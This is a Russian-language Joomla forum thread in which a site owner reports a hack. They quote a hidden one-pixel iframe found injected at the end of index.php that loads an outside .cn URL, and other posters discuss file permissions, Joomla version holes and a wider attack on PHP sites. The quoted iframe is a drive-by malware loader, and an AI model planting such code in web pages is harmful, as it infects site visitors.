Взломали ?.. - Безопасность сайтов на Joomla

Здравствуйте всем. Сегодня открыть хотел свой сайт , а он не открываеться.
В 91 строке в index.php пишет ошибку.
Я открыл этот index.php и в конце обнаружил
<iframe src="http://lotultimatebet.cn/in.cgi?income59" width=1 height=1 style="visibility: hidden"></iframe>
Насколько могу судить - какой-то троян.

Подскажите знающие, откуда это могло взяться

да, сайт взломали. используйте поиск по форуму.

да, сайт взломали. используйте поиск по форуму.

Проверил права на доступы - всё как по инструкции - папкам 755 , файлам 644. Только сейчас на index.php этот поставил 444 - может и поможет.
http://joomlaforum.ru/index.php/topic,8594.0.html
Вполне вероятно, что из-за сохраненных паролей в Тотале произошло, у кого-нибудь ещё было такое?

Джумла, наверное, версии 1.5.3-1.5.6? Там дырка известная, так что кто не спрятался - турецкие, индийские и китайские хакеры не виноваты.

Джумла, наверное, версии 1.5.3-1.5.6? Там дырка известная, так что кто не спрятался - турецкие, индийские и китайские хакеры не виноваты.

Нет, joomla 1.5.9 . Только что повысил до 1.5.10

Судя по постам на других форумах - проблема глобальна, и она в PHP. Более того, не все трояны которые рассылаются определяются тем же NOD32. Похоже на грамотно спланированную глобальную атаку.

http://www.phpbb.com/community/viewtopic.php?f=46&t=1549215
http://diskuse.jakpsatweb.cz/index.php?action=vthread&forum=9&topic=93177

Джумловоды, как писал выше, я удалил строку из index.php , но сейчас выскакивает что у меня троян. подскажите что делать. Неужели сносить надо?

[вложение удалено Администратором]